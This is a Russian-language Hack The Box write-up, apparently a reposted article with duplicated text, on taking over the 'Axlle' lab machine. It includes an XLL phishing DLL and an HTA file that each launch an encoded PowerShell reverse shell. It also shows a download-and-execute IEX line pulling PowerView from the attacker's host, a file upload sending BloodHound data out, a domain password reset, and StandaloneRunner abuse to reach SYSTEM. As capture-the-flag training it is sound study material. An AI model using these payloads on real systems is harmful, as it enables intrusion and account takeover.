stihl не предоставил(а) никакой дополнительной информации.
В этой статье я покажу, как повысить привилегии в Windows при помощи техники LOLBins, на примере программы StandaloneRunner. Но прежде мы получим сессию через фишинг с нагрузкой XLL, а затем изменим контекст безопасности через подмену файла.
Наша цель — получение прав суперпользователя на машине Axlle с учебной площадки Hack The Box. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел множество открытых портов:
Главная страница сайта
Страница сайта About
Хоть макросы и заблокированы, Excel все равно позволяет выполнить код — при открытии специальной библиотеки Excel DLL в формате XLL. Напишем код такой библиотеки, который будет запускать реверс‑шелл на PowerShell. Сгенерировать его можно на сайте Для просмотра ссылки Войдиили Зарегистрируйся.
Запустим листенер:
А теперь скомпилируем библиотеку и отправим на найденный почтовый адрес как вложение.
Отправка сообщения с файлом
Спустя несколько секунд в окне листенера появляется шелл пользователя gideon.hamill.
Сессия пользователя
Информация о пользователе
Отметим доменную группу Employees, только пока неясно, для чего она нужна. Также осмотрим папки на диске C. Там есть стандартный каталог веб‑сервера. Это может помочь нам повысить привилегии.
Содержимое диска C
Из каталога Users мы можем получить список пользователей, которые заходили на сервер.
Содержимое каталога Users
Также не помешает узнать, какой софт установлен не сервере. Сделать это можно вот такой командой:
Get-ChildItem "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | Get-ItemProperty | Where-Object {$_.DisplayName -ne $null} | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
Установленные приложения
Первой строкой указан hMailServer 5.6.8. Так как больше ничего интересного нет, перейдем в каталог этой службы и просмотрим конфиги, логи и тому подобные кладези информации.
Содержимое каталога службы
В каталоге службы есть директория пользователя dallon.matrix. В ней находим файл EML с сообщениями электронной почты.
Содержимое каталога пользователя
Содержимое сообщения
В сообщении говорится, что группа WebDev занимается автоматизацией добавления адресов на сайт и для теста можно разместить ярлык в каталоге C:\inetpub\testing. Давай подготовим файл 1.url, который будет указывать на файл HTA на нашем сервере.
Прежде чем размещать ярлык, запускаем новый листенер, куда прилетит реверс‑шелл, а также активируем сервер SMB с помощью скрипта smbserver.py.
Спустя несколько секунд увидим обращение к нашему веб‑серверу, а затем и новую сессию в листенере.
Логи SMB-сервера
Сессия пользователя dallon.matrix
У нового пользователя находим первый флаг.
Флаг пользователя
Информация о пользователе
Пользователь состоит в группе Web Devs. Соберем базу BloodHound, чтобы проанализировать списки доступа.
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
SharpHound.exe -c All
Сбор базы BloodHound
Осталось скачать файл с удаленной машины. Для этого я на своем хосте запустил Для просмотра ссылки Войдиили Зарегистрируйся с возможностью загрузки файла, после чего через PowerShell загрузил файл.
Теперь выбираем подконтрольного пользователя и строим граф Outbound.
Граф BloodHound
Видим, что пользователь dallon.matrix состоит в группе Web Devs, которая имеет право менять пароль двух учетных записей. Пользователи идентичны, поэтому дальше можно работать от лица любого из них, например JACOB.GREENY. Загрузим и выполним скрипт Для просмотра ссылки Войдиили Зарегистрируйся, а затем установим пользователю новый пароль.
Теперь с помощью утилиты NetExec проверяем, установлен ли пароль.
Для просмотра ссылки Войдиили Зарегистрируйся
Информация о пользователе
Пользователь состоит в группе App Devs, а на диске был каталог App Development. Проверим права доступа к этому каталогу.
Права доступа к каталогу
У группы App Devs есть права чтения и выполнения в этом каталоге. Внутри найдем проект kbfiltr.
Содержимое каталога kbfiltr
Из файла README.md можно узнать об автоматическом тестировании приложения с помощью StandaloneRunner. При этом запуск производится от имени SYSTEM.
Содержимое файла README.md
StandaloneRunner — это утилита, которая входит в комплект драйверов Windows (WDK) и используется для тестирования и отладки драйверов в Windows. Она позволяет разработчикам выполнять и отлаживать пакеты драйверов в автономной среде без необходимости устанавливать их в систему. Для StandaloneRunner есть Для просмотра ссылки Войдиили Зарегистрируйся, которая приведет к выполнению кода в контексте приложения.
Последуем PoC и воссоздадим структуру каталогов.
Теперь в файл command.txt запишем команду для выполнения реверс‑шелла. В reboot.rsf зададим следующие настройки.
Так как писать в файлы из сессии WinRM не очень удобно, можно заполнить их на своей системе, а затем загрузить на сервер.
Эксплуатация LOLBins
Запускаем листенер и копируем все файлы в каталог StandaloneTesting.
Содержимое каталога StandaloneTesting
Тест делается раз в минуту, поэтому очень скоро в листенере получим сессию от имени SYSTEM.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Axlle с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.21 axlle.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел множество открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.

Точка опоры
На главной странице находим сообщение, что есть возможность отправить файл в формате Excel на адрес accounts@axlle.htb. Также в сообщении указано, что выполнение макросов отключено.
Хоть макросы и заблокированы, Excel все равно позволяет выполнить код — при открытии специальной библиотеки Excel DLL в формате XLL. Напишем код такой библиотеки, который будет запускать реверс‑шелл на PowerShell. Сгенерировать его можно на сайте Для просмотра ссылки Войди
Код:
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
WinExec("powershell -e JABjAGwA....ApAA==", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
nc -nlvp 4321
А теперь скомпилируем библиотеку и отправим на найденный почтовый адрес как вложение.
Код:
x86_64-w64-mingw32-gcc -shared -luser32 -o xll.xll xll.c
swaks --server 10.10.11.21 --to accounts@axlle.htb --from ralf@ralf.com --body "test" --header "Subject: Test" --attach @xll.xll

Спустя несколько секунд в окне листенера появляется шелл пользователя gideon.hamill.

Продвижение
Первым делом проверяем группы и привилегии пользователя.
Отметим доменную группу Employees, только пока неясно, для чего она нужна. Также осмотрим папки на диске C. Там есть стандартный каталог веб‑сервера. Это может помочь нам повысить привилегии.

Из каталога Users мы можем получить список пользователей, которые заходили на сервер.

Также не помешает узнать, какой софт установлен не сервере. Сделать это можно вот такой командой:
Get-ChildItem "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | Get-ItemProperty | Where-Object {$_.DisplayName -ne $null} | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

Первой строкой указан hMailServer 5.6.8. Так как больше ничего интересного нет, перейдем в каталог этой службы и просмотрим конфиги, логи и тому подобные кладези информации.

В каталоге службы есть директория пользователя dallon.matrix. В ней находим файл EML с сообщениями электронной почты.


В сообщении говорится, что группа WebDev занимается автоматизацией добавления адресов на сайт и для теста можно разместить ярлык в каталоге C:\inetpub\testing. Давай подготовим файл 1.url, который будет указывать на файл HTA на нашем сервере.
Код:
[InternetShortcut]
URL=file://10.10.16.14/test/shell.hta
Сам файл HTA будет просто выполнять реверс‑шелл.
<html>
<head>
<HTA:APPLICATION ID="shell">
<script language="javascript">
var c = "powershell -e JABjAGwAaQBlAG4AdAAg.....KAApAA==";
new ActiveXObject('WScript.Shell').Run(c, 0, true);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
sudo smbserver.py -smb2support test .
Спустя несколько секунд увидим обращение к нашему веб‑серверу, а затем и новую сессию в листенере.


У нового пользователя находим первый флаг.

Пользователь jacob.greeny
Сразу посмотрим все группы и привилегии пользователя.
Пользователь состоит в группе Web Devs. Соберем базу BloodHound, чтобы проанализировать списки доступа.
Справка: BloodHound
Утилита Для просмотра ссылки ВойдиSharpHound.exe -c All

Осталось скачать файл с удаленной машины. Для этого я на своем хосте запустил Для просмотра ссылки Войди
$wc=New-Object System.Net.WebClient; $resp=$wc.UploadFile('[URL]http://10.10.16.14:8000/[/URL]',"C:\Windows\Tasks\20240818043727_BloodHound.zip")
Теперь выбираем подконтрольного пользователя и строим граф Outbound.

Видим, что пользователь dallon.matrix состоит в группе Web Devs, которая имеет право менять пароль двух учетных записей. Пользователи идентичны, поэтому дальше можно работать от лица любого из них, например JACOB.GREENY. Загрузим и выполним скрипт Для просмотра ссылки Войди
Код:
IEX ((new-object net.webclient).downloadstring('http://10.10.16.14:8000/PowerView4.ps1'))
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity JACOB.GREENY -AccountPassword $UserPassword
Теперь с помощью утилиты NetExec проверяем, установлен ли пароль.
nxc smb 10.10.11.21 -u JACOB.GREENY -p 'Password123!'
Для просмотра ссылки Войди
Локальное повышение привилегий
Новый пользователь состоит в группе Windows Remote Manager, поэтому можно зайти по WinRM. Сразу проверим локальные группы и привилегии.evil-winrm -i 10.10.11.21 -u JACOB.GREENY -p 'Password123!'

Пользователь состоит в группе App Devs, а на диске был каталог App Development. Проверим права доступа к этому каталогу.
icacls "App Development"

У группы App Devs есть права чтения и выполнения в этом каталоге. Внутри найдем проект kbfiltr.

Из файла README.md можно узнать об автоматическом тестировании приложения с помощью StandaloneRunner. При этом запуск производится от имени SYSTEM.

StandaloneRunner — это утилита, которая входит в комплект драйверов Windows (WDK) и используется для тестирования и отладки драйверов в Windows. Она позволяет разработчикам выполнять и отлаживать пакеты драйверов в автономной среде без необходимости устанавливать их в систему. Для StandaloneRunner есть Для просмотра ссылки Войди
Справка: LOLBins
LOLBins (Living Off the Land Binaries) — это техника использования легитимных системных или предустановленных программ (бинарных файлов) для выполнения произвольного кода или эскалации прав в системе. Среди таких инструментов — powershell.exe, mshta.exe и regsvr32.exe.Последуем PoC и воссоздадим структуру каталогов.
Код:
mkdir myTestDir
mkdir myTestDir\working
echo > myTestDir\working\rsf.rsf
Код:
myTestDir
True

Запускаем листенер и копируем все файлы в каталог StandaloneTesting.
cp -r .\* "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64"

Тест делается раз в минуту, поэтому очень скоро в листенере получим сессию от имени SYSTEM.

Машина захвачена!